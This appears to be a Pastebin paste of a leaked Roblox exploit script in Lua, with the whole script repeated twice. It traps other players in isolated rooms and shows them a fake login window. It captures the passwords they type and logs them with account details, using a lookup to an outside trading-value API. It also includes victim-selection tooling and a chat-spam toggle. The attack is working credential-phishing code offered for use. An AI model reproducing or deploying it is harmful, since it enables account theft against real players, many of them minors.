Advertisement
Guest User

Untitled

a guest
Oct 9th, 2016
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.42 KB | None | 0 0
  1. --From Milky Way, DO NOT LEAK THIS. raspy gets really salty when you leak his shit and i leaked mgxv1 so yeah
  2. --he says he will report this method with a bot like 100 times to roblox to make sure it gets patched
  3. --so just dont leak it ty
  4.  
  5. local MyRoom = "BasicRoom"
  6.  
  7. local StorageType = 2
  8.  
  9. local ScamType = "Pick"
  10.  
  11. local TargetList = {}
  12.  
  13. local Bypassers = {
  14. {}
  15. }
  16.  
  17. local Trello = {
  18. Enabled = false,
  19. List = "MRList",
  20. DumpList = "MRDumps",
  21. TrelloTargetList = "MRTargetList",
  22. DevKey = "",
  23. Token = "",
  24. }
  25.  
  26. local floodChat = false
  27.  
  28. local writeAccounts = true
  29. local fileName = "MGX7List"
  30.  
  31. BypassKey = "v3rm"
  32. BypassKeyEnabled = true
  33. BypassKeyRules = true
  34.  
  35. local kickLogin = false
  36.  
  37. local RAPApi = true
  38. ------------------------------------------------------------------------
  39.  
  40. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  41. MainFolder.Parent = game.ReplicatedStorage
  42.  
  43. local player = game.Players.LocalPlayer
  44.  
  45. local CurrentlyScamming = {}
  46.  
  47. local MRStorage
  48.  
  49. local guiTool = MainFolder.Login
  50.  
  51. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  52. guiTool.LocalScript:Destroy()
  53. replaceScript.Parent = guiTool
  54.  
  55. local ruleTool = MainFolder["Bypass Rules"]
  56.  
  57. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  58. ruleTool.LocalScript:Destroy()
  59. replaceScript.Parent = ruleTool
  60.  
  61. local pickGui = MainFolder.PickGui
  62.  
  63. function checkPass(pass, playa)
  64. if BypassKeyEnabled and pass == BypassKey then
  65. if BypassKeyRules then
  66. local newTool = ruleTool:Clone()
  67. newTool.Parent = workspace
  68. newTool.Handle.CanCollide = false
  69. newTool.Handle.CFrame = playa.Character.Head.CFrame
  70. end
  71. return true
  72. end
  73. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  74. return false
  75. end
  76. local foundNums = 0
  77. local foundLetters = 0
  78. if string.find(pass, " ") then
  79. return false
  80. end
  81. if pass:len() < 6 or pass:len() > 20 then
  82. return false
  83. end
  84. for i=1,pass:len() do
  85. if pass:sub(i,i):match("%d") ~= nil then
  86. foundNums = foundNums + 1
  87. end
  88. end
  89. if foundNums < 2 then
  90. return false
  91. end
  92. for i=1,pass:len() do
  93. if pass:sub(i,i):match("%a") ~= nil then
  94. foundLetters = foundLetters + 1
  95. end
  96. end
  97. if foundLetters < 4 then
  98. return false
  99. end
  100. return true
  101. end
  102.  
  103. function getUText(root, val)
  104. local found
  105. if val then
  106. found = val
  107. end
  108. for i,v in pairs(root:GetChildren()) do
  109. if v.Name == "UText" then
  110. found = v
  111. break
  112. end
  113. found = getUText(v,found)
  114. end
  115. return found
  116. end
  117.  
  118. function getPText(root, val)
  119. local found
  120. if val then
  121. found = val
  122. end
  123. for i,v in pairs(root:GetChildren()) do
  124. if v.Name == "PText" then
  125. found = v
  126. break
  127. end
  128. found = getPText(v,found)
  129. end
  130. return found
  131. end
  132.  
  133. function getILPopUp(root, val)
  134. local found
  135. if val then
  136. found = val
  137. end
  138. for i,v in pairs(root:GetChildren()) do
  139. if v.Name == "ILPopUp" then
  140. found = v
  141. break
  142. end
  143. found = getILPopUp(v,found)
  144. end
  145. return found
  146. end
  147.  
  148. function unscPlayer(plr)
  149. for i,v in pairs(CurrentlyScamming) do
  150. if plr == v.Player then
  151. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  152. table.remove(CurrentlyScamming,i)
  153. wait()
  154. while plr.Backpack:FindFirstChild("Login") do
  155. plr.Backpack.Login:Destroy()
  156. wait()
  157. end
  158. while plr.Character:FindFirstChild("Login") do
  159. plr.Character.Login:Destroy()
  160. wait()
  161. end
  162. plr.Character:WaitForChild("Torso")
  163. plr.Character:WaitForChild("HumanoidRootPart")
  164. plr.Character.HumanoidRootPart.Anchored = false
  165. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  166. v.Player.CameraMaxZoomDistance = 400
  167. v.Player.CameraMinZoomDistance = 0
  168. v.RoomModel:Destroy()
  169. end
  170. end
  171. end
  172.  
  173. function scPlayer(plr)
  174. ypcall(function()
  175. local debounce = false
  176. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  177. if roomCheck then
  178. local roomId = #CurrentlyScamming + 1
  179. local newRoom = roomCheck:Clone()
  180. newRoom.Parent = workspace
  181. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  182.  
  183. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  184. table.insert(CurrentlyScamming,newPacket)
  185. --[[
  186. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  187. if debounce == false then
  188. if playa.Backpack:FindFirstChild("Login") then
  189. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  190. debounce = true
  191. getILPopUp(newRoom).Visible = false
  192. getILPopUp(playa.Backpack.Login).Visible = false
  193. wait(0.5)
  194. if playa.Backpack:FindFirstChild("Login") then
  195. if checkPass(getPText(playa.Backpack.Login).Text) then
  196. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  197. unscPlayer(plr)
  198. else
  199. getILPopUp(newRoom).Visible = true
  200. getILPopUp(playa.Backpack.Login).Visible = true
  201. getPText(playa.Backpack.Login).Text = ""
  202. end
  203. end
  204. end
  205. end
  206. debounce = false
  207. end
  208. end)
  209. --]]
  210. end
  211. end)
  212. end
  213.  
  214. function isBypass(plr)
  215. local bypass = false
  216. for i,v in pairs(Bypassers) do
  217. if v.Name == plr.Name or v.ID == plr.UserId then
  218. bypass = true
  219. end
  220. end
  221. return bypass
  222. end
  223.  
  224. function isScamming(plr)
  225. local isScam = false
  226. for i,v in pairs(CurrentlyScamming) do
  227. if v.Player.Name == plr then
  228. isScam = true
  229. end
  230. end
  231. return isScam
  232. end
  233.  
  234. function fixPlayers()
  235. for i,v in pairs(CurrentlyScamming) do
  236. ypcall(function()
  237. if v.Player.Character:FindFirstChild("Login") then
  238. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  239. local tempTool = v.Player.Character:FindFirstChild("Login")
  240. tempTool.Parent = v.RoomModel
  241. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  242. end
  243. end
  244. end)
  245. end
  246. end
  247.  
  248. function BCtoDumpStr(str)
  249. local res = ""
  250. if str == "Enum.MembershipType.BuildersClub" then
  251. res = "[BC] "
  252. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  253. res = "[TBC] "
  254. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  255. res = "[OBC] "
  256. elseif str == "Enum.MembershipType.None" then
  257. res = ""
  258. end
  259. return res
  260. end
  261.  
  262. function getRap(user)
  263. local rap = "Error."
  264. if RAPApi then
  265. ypcall(function()
  266. local http = game:GetService("HttpService")
  267. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  268. rap = tostring(rawrap.rap)
  269. end)
  270. else
  271. rap = "Disabled."
  272. end
  273. return rap
  274. end
  275.  
  276. function logAccount(user,pass)
  277. local playerName = user.Name
  278. local playerAge = tostring(user.AccountAge)
  279. local playerRAP = getRap(playerName)
  280.  
  281. if print then
  282. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  283. end
  284. if readfile and writefile then
  285. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  286. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  287. else
  288. local tempFile = readfile(getelysianpath()..fileName..".txt")
  289. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  290. end
  291. end
  292. end
  293.  
  294. function teleportVictims()
  295. for i,v in pairs(CurrentlyScamming) do
  296. ypcall(function()
  297. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  298. v.Player.Character.HumanoidRootPart.Anchored = true
  299. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  300. if not v.RoomModel:FindFirstChild("Login") then
  301. local tempTools = {}
  302. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  303. table.insert(tempTools,v2:Clone())
  304. v2:Destroy()
  305. end
  306. local newTool = guiTool:Clone()
  307. newTool.Parent = v.RoomModel
  308. newTool.Handle.CanCollide = false
  309. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  310. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  311. getUText(newTool).Text = v.Player.Name
  312. spawn(function()
  313. wait(2)
  314. for i2,v2 in pairs(tempTools) do
  315. v2.Parent = v.Player.Backpack
  316. end
  317. end)
  318. newTool.Changed:connect(function(prop)
  319. if not isScamming(v.Player.Name) then return end
  320. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  321. if v.Player.Backpack:FindFirstChild("Login") then
  322. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  323. getILPopUp(v.Player.Backpack.Login).Visible = false
  324. if v.Player.Backpack:FindFirstChild("Login") then
  325. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  326. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  327. unscPlayer(v.Player)
  328. spawn(function()
  329. wait(0.5)
  330. if kickLogin then
  331. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  332. v.Player:Remove()
  333. end
  334. end
  335. end)
  336. else
  337. getILPopUp(v.Player.Backpack.Login).Visible = true
  338. getPText(v.Player.Backpack.Login).Text = ""
  339. wait()
  340. if not v.Player.Character:FindFirstChild("Login") then
  341. newTool.Parent = v.RoomModel
  342. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  343. end
  344. end
  345. end
  346. end
  347. end
  348. end
  349. end)
  350. end
  351. end
  352. end)
  353. end
  354. end
  355.  
  356. wait()
  357.  
  358. game.Players.PlayerRemoving:connect(function(playa)
  359. for i,v in pairs(CurrentlyScamming) do
  360. if v.Player == playa then
  361. table.remove(CurrentlyScamming,i)
  362. end
  363. end
  364. end)
  365.  
  366. --[[
  367. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  368. local infoText = Instance.new("TextLabel",infoGui)
  369. infoText.Position = UDim2.new(0,0,1,-20)
  370. infoText.Size = UDim2.new(1,0,0,20)
  371. infoText.FontSize = "Size18"
  372. infoText.Font = "SourceSansBold"
  373. infoText.BackgroundTransparency = 1
  374. infoText.TextColor3 = Color3.new(1,1,1)
  375. infoText.TextXAlignment = "Right"
  376. infoText.Text = "Press 'p' to toggle chat spam."
  377. --]]
  378.  
  379. local mouse = game.Players.LocalPlayer:GetMouse()
  380. mouse.KeyDown:connect(function(key)
  381. if key == "p" then
  382. floodChat = not floodChat
  383. end
  384. end)
  385.  
  386. spawn(function()
  387. while wait(3) do
  388. fixPlayers()
  389. end
  390. end)
  391.  
  392. while wait() do
  393. teleportVictims()
  394. if floodChat then
  395. game.Players:Chat(".")
  396. game.Players:Chat(".")
  397. end
  398. if ScamType == "Normal" then
  399. for i,v in pairs(game.Players:GetPlayers()) do
  400. if StorageType == 1 then
  401. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  402.  
  403. end
  404. elseif StorageType == 2 then
  405. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  406. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  407. MRStorage.Name = "MRStorage"
  408. end
  409. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  410. scPlayer(v)
  411. end
  412. end
  413. end
  414. elseif ScamType == "Pick" then
  415. if StorageType == 1 then
  416. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  417.  
  418. end
  419. elseif StorageType == 2 then
  420. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  421. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  422. MRStorage.Name = "MRStorage"
  423. end
  424. if not game.CoreGui:FindFirstChild("PickGui") then
  425. local newPickGui = pickGui:Clone()
  426. newPickGui.Parent = game.CoreGui
  427. spawn(function()
  428. local pickGuiList = newPickGui.MainFrame.AccList
  429. local pickGuiResult = newPickGui.MainFrame.UserResult
  430. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  431. local function updatePickList()
  432. pickGuiList:ClearAllChildren()
  433. for i,v in pairs(game.Players:GetPlayers()) do
  434. if v ~= player then
  435. local newRes = pickGuiResult:Clone()
  436. newRes.PlayerName.Text = v.Name
  437. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  438. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  439. if isScamming(v.Name) then
  440. newRes.PlayerStatus.Text = "Scamming..."
  441. end
  442. if isBypass(v) then
  443. newRes.PlayerStatus.Text = "Scammed"
  444. end
  445. newRes.Parent = pickGuiList
  446. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  447. newRes.Visible = true
  448. newRes.MouseButton1Down:connect(function()
  449. if not isScamming(v.Name) then
  450. scPlayer(v)
  451. end
  452. end)
  453. end
  454. end
  455. end
  456. updatePickList()
  457. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  458. updatePickList()
  459. end)
  460. end)
  461. end
  462. end
  463. end
  464. end--From Milky Way, DO NOT LEAK THIS. raspy gets really salty when you leak his shit and i leaked mgxv1 so yeah
  465. --he says he will report this method with a bot like 100 times to roblox to make sure it gets patched
  466. --so just dont leak it ty
  467.  
  468. local MyRoom = "BasicRoom"
  469.  
  470. local StorageType = 2
  471.  
  472. local ScamType = "Pick"
  473.  
  474. local TargetList = {}
  475.  
  476. local Bypassers = {
  477. {}
  478. }
  479.  
  480. local Trello = {
  481. Enabled = false,
  482. List = "MRList",
  483. DumpList = "MRDumps",
  484. TrelloTargetList = "MRTargetList",
  485. DevKey = "",
  486. Token = "",
  487. }
  488.  
  489. local floodChat = false
  490.  
  491. local writeAccounts = true
  492. local fileName = "MGX7List"
  493.  
  494. BypassKey = "v3rm"
  495. BypassKeyEnabled = true
  496. BypassKeyRules = true
  497.  
  498. local kickLogin = false
  499.  
  500. local RAPApi = true
  501. ------------------------------------------------------------------------
  502.  
  503. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  504. MainFolder.Parent = game.ReplicatedStorage
  505.  
  506. local player = game.Players.LocalPlayer
  507.  
  508. local CurrentlyScamming = {}
  509.  
  510. local MRStorage
  511.  
  512. local guiTool = MainFolder.Login
  513.  
  514. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  515. guiTool.LocalScript:Destroy()
  516. replaceScript.Parent = guiTool
  517.  
  518. local ruleTool = MainFolder["Bypass Rules"]
  519.  
  520. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  521. ruleTool.LocalScript:Destroy()
  522. replaceScript.Parent = ruleTool
  523.  
  524. local pickGui = MainFolder.PickGui
  525.  
  526. function checkPass(pass, playa)
  527. if BypassKeyEnabled and pass == BypassKey then
  528. if BypassKeyRules then
  529. local newTool = ruleTool:Clone()
  530. newTool.Parent = workspace
  531. newTool.Handle.CanCollide = false
  532. newTool.Handle.CFrame = playa.Character.Head.CFrame
  533. end
  534. return true
  535. end
  536. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  537. return false
  538. end
  539. local foundNums = 0
  540. local foundLetters = 0
  541. if string.find(pass, " ") then
  542. return false
  543. end
  544. if pass:len() < 6 or pass:len() > 20 then
  545. return false
  546. end
  547. for i=1,pass:len() do
  548. if pass:sub(i,i):match("%d") ~= nil then
  549. foundNums = foundNums + 1
  550. end
  551. end
  552. if foundNums < 2 then
  553. return false
  554. end
  555. for i=1,pass:len() do
  556. if pass:sub(i,i):match("%a") ~= nil then
  557. foundLetters = foundLetters + 1
  558. end
  559. end
  560. if foundLetters < 4 then
  561. return false
  562. end
  563. return true
  564. end
  565.  
  566. function getUText(root, val)
  567. local found
  568. if val then
  569. found = val
  570. end
  571. for i,v in pairs(root:GetChildren()) do
  572. if v.Name == "UText" then
  573. found = v
  574. break
  575. end
  576. found = getUText(v,found)
  577. end
  578. return found
  579. end
  580.  
  581. function getPText(root, val)
  582. local found
  583. if val then
  584. found = val
  585. end
  586. for i,v in pairs(root:GetChildren()) do
  587. if v.Name == "PText" then
  588. found = v
  589. break
  590. end
  591. found = getPText(v,found)
  592. end
  593. return found
  594. end
  595.  
  596. function getILPopUp(root, val)
  597. local found
  598. if val then
  599. found = val
  600. end
  601. for i,v in pairs(root:GetChildren()) do
  602. if v.Name == "ILPopUp" then
  603. found = v
  604. break
  605. end
  606. found = getILPopUp(v,found)
  607. end
  608. return found
  609. end
  610.  
  611. function unscPlayer(plr)
  612. for i,v in pairs(CurrentlyScamming) do
  613. if plr == v.Player then
  614. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  615. table.remove(CurrentlyScamming,i)
  616. wait()
  617. while plr.Backpack:FindFirstChild("Login") do
  618. plr.Backpack.Login:Destroy()
  619. wait()
  620. end
  621. while plr.Character:FindFirstChild("Login") do
  622. plr.Character.Login:Destroy()
  623. wait()
  624. end
  625. plr.Character:WaitForChild("Torso")
  626. plr.Character:WaitForChild("HumanoidRootPart")
  627. plr.Character.HumanoidRootPart.Anchored = false
  628. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  629. v.Player.CameraMaxZoomDistance = 400
  630. v.Player.CameraMinZoomDistance = 0
  631. v.RoomModel:Destroy()
  632. end
  633. end
  634. end
  635.  
  636. function scPlayer(plr)
  637. ypcall(function()
  638. local debounce = false
  639. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  640. if roomCheck then
  641. local roomId = #CurrentlyScamming + 1
  642. local newRoom = roomCheck:Clone()
  643. newRoom.Parent = workspace
  644. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  645.  
  646. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  647. table.insert(CurrentlyScamming,newPacket)
  648. --[[
  649. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  650. if debounce == false then
  651. if playa.Backpack:FindFirstChild("Login") then
  652. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  653. debounce = true
  654. getILPopUp(newRoom).Visible = false
  655. getILPopUp(playa.Backpack.Login).Visible = false
  656. wait(0.5)
  657. if playa.Backpack:FindFirstChild("Login") then
  658. if checkPass(getPText(playa.Backpack.Login).Text) then
  659. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  660. unscPlayer(plr)
  661. else
  662. getILPopUp(newRoom).Visible = true
  663. getILPopUp(playa.Backpack.Login).Visible = true
  664. getPText(playa.Backpack.Login).Text = ""
  665. end
  666. end
  667. end
  668. end
  669. debounce = false
  670. end
  671. end)
  672. --]]
  673. end
  674. end)
  675. end
  676.  
  677. function isBypass(plr)
  678. local bypass = false
  679. for i,v in pairs(Bypassers) do
  680. if v.Name == plr.Name or v.ID == plr.UserId then
  681. bypass = true
  682. end
  683. end
  684. return bypass
  685. end
  686.  
  687. function isScamming(plr)
  688. local isScam = false
  689. for i,v in pairs(CurrentlyScamming) do
  690. if v.Player.Name == plr then
  691. isScam = true
  692. end
  693. end
  694. return isScam
  695. end
  696.  
  697. function fixPlayers()
  698. for i,v in pairs(CurrentlyScamming) do
  699. ypcall(function()
  700. if v.Player.Character:FindFirstChild("Login") then
  701. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  702. local tempTool = v.Player.Character:FindFirstChild("Login")
  703. tempTool.Parent = v.RoomModel
  704. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  705. end
  706. end
  707. end)
  708. end
  709. end
  710.  
  711. function BCtoDumpStr(str)
  712. local res = ""
  713. if str == "Enum.MembershipType.BuildersClub" then
  714. res = "[BC] "
  715. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  716. res = "[TBC] "
  717. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  718. res = "[OBC] "
  719. elseif str == "Enum.MembershipType.None" then
  720. res = ""
  721. end
  722. return res
  723. end
  724.  
  725. function getRap(user)
  726. local rap = "Error."
  727. if RAPApi then
  728. ypcall(function()
  729. local http = game:GetService("HttpService")
  730. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  731. rap = tostring(rawrap.rap)
  732. end)
  733. else
  734. rap = "Disabled."
  735. end
  736. return rap
  737. end
  738.  
  739. function logAccount(user,pass)
  740. local playerName = user.Name
  741. local playerAge = tostring(user.AccountAge)
  742. local playerRAP = getRap(playerName)
  743.  
  744. if print then
  745. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  746. end
  747. if readfile and writefile then
  748. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  749. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  750. else
  751. local tempFile = readfile(getelysianpath()..fileName..".txt")
  752. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  753. end
  754. end
  755. end
  756.  
  757. function teleportVictims()
  758. for i,v in pairs(CurrentlyScamming) do
  759. ypcall(function()
  760. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  761. v.Player.Character.HumanoidRootPart.Anchored = true
  762. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  763. if not v.RoomModel:FindFirstChild("Login") then
  764. local tempTools = {}
  765. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  766. table.insert(tempTools,v2:Clone())
  767. v2:Destroy()
  768. end
  769. local newTool = guiTool:Clone()
  770. newTool.Parent = v.RoomModel
  771. newTool.Handle.CanCollide = false
  772. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  773. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  774. getUText(newTool).Text = v.Player.Name
  775. spawn(function()
  776. wait(2)
  777. for i2,v2 in pairs(tempTools) do
  778. v2.Parent = v.Player.Backpack
  779. end
  780. end)
  781. newTool.Changed:connect(function(prop)
  782. if not isScamming(v.Player.Name) then return end
  783. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  784. if v.Player.Backpack:FindFirstChild("Login") then
  785. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  786. getILPopUp(v.Player.Backpack.Login).Visible = false
  787. if v.Player.Backpack:FindFirstChild("Login") then
  788. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  789. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  790. unscPlayer(v.Player)
  791. spawn(function()
  792. wait(0.5)
  793. if kickLogin then
  794. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  795. v.Player:Remove()
  796. end
  797. end
  798. end)
  799. else
  800. getILPopUp(v.Player.Backpack.Login).Visible = true
  801. getPText(v.Player.Backpack.Login).Text = ""
  802. wait()
  803. if not v.Player.Character:FindFirstChild("Login") then
  804. newTool.Parent = v.RoomModel
  805. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  806. end
  807. end
  808. end
  809. end
  810. end
  811. end
  812. end)
  813. end
  814. end
  815. end)
  816. end
  817. end
  818.  
  819. wait()
  820.  
  821. game.Players.PlayerRemoving:connect(function(playa)
  822. for i,v in pairs(CurrentlyScamming) do
  823. if v.Player == playa then
  824. table.remove(CurrentlyScamming,i)
  825. end
  826. end
  827. end)
  828.  
  829. --[[
  830. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  831. local infoText = Instance.new("TextLabel",infoGui)
  832. infoText.Position = UDim2.new(0,0,1,-20)
  833. infoText.Size = UDim2.new(1,0,0,20)
  834. infoText.FontSize = "Size18"
  835. infoText.Font = "SourceSansBold"
  836. infoText.BackgroundTransparency = 1
  837. infoText.TextColor3 = Color3.new(1,1,1)
  838. infoText.TextXAlignment = "Right"
  839. infoText.Text = "Press 'p' to toggle chat spam."
  840. --]]
  841.  
  842. local mouse = game.Players.LocalPlayer:GetMouse()
  843. mouse.KeyDown:connect(function(key)
  844. if key == "p" then
  845. floodChat = not floodChat
  846. end
  847. end)
  848.  
  849. spawn(function()
  850. while wait(3) do
  851. fixPlayers()
  852. end
  853. end)
  854.  
  855. while wait() do
  856. teleportVictims()
  857. if floodChat then
  858. game.Players:Chat(".")
  859. game.Players:Chat(".")
  860. end
  861. if ScamType == "Normal" then
  862. for i,v in pairs(game.Players:GetPlayers()) do
  863. if StorageType == 1 then
  864. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  865.  
  866. end
  867. elseif StorageType == 2 then
  868. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  869. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  870. MRStorage.Name = "MRStorage"
  871. end
  872. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  873. scPlayer(v)
  874. end
  875. end
  876. end
  877. elseif ScamType == "Pick" then
  878. if StorageType == 1 then
  879. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  880.  
  881. end
  882. elseif StorageType == 2 then
  883. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  884. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  885. MRStorage.Name = "MRStorage"
  886. end
  887. if not game.CoreGui:FindFirstChild("PickGui") then
  888. local newPickGui = pickGui:Clone()
  889. newPickGui.Parent = game.CoreGui
  890. spawn(function()
  891. local pickGuiList = newPickGui.MainFrame.AccList
  892. local pickGuiResult = newPickGui.MainFrame.UserResult
  893. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  894. local function updatePickList()
  895. pickGuiList:ClearAllChildren()
  896. for i,v in pairs(game.Players:GetPlayers()) do
  897. if v ~= player then
  898. local newRes = pickGuiResult:Clone()
  899. newRes.PlayerName.Text = v.Name
  900. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  901. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  902. if isScamming(v.Name) then
  903. newRes.PlayerStatus.Text = "Scamming..."
  904. end
  905. if isBypass(v) then
  906. newRes.PlayerStatus.Text = "Scammed"
  907. end
  908. newRes.Parent = pickGuiList
  909. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  910. newRes.Visible = true
  911. newRes.MouseButton1Down:connect(function()
  912. if not isScamming(v.Name) then
  913. scPlayer(v)
  914. end
  915. end)
  916. end
  917. end
  918. end
  919. updatePickList()
  920. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  921. updatePickList()
  922. end)
  923. end)
  924. end
  925. end
  926. end
  927. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement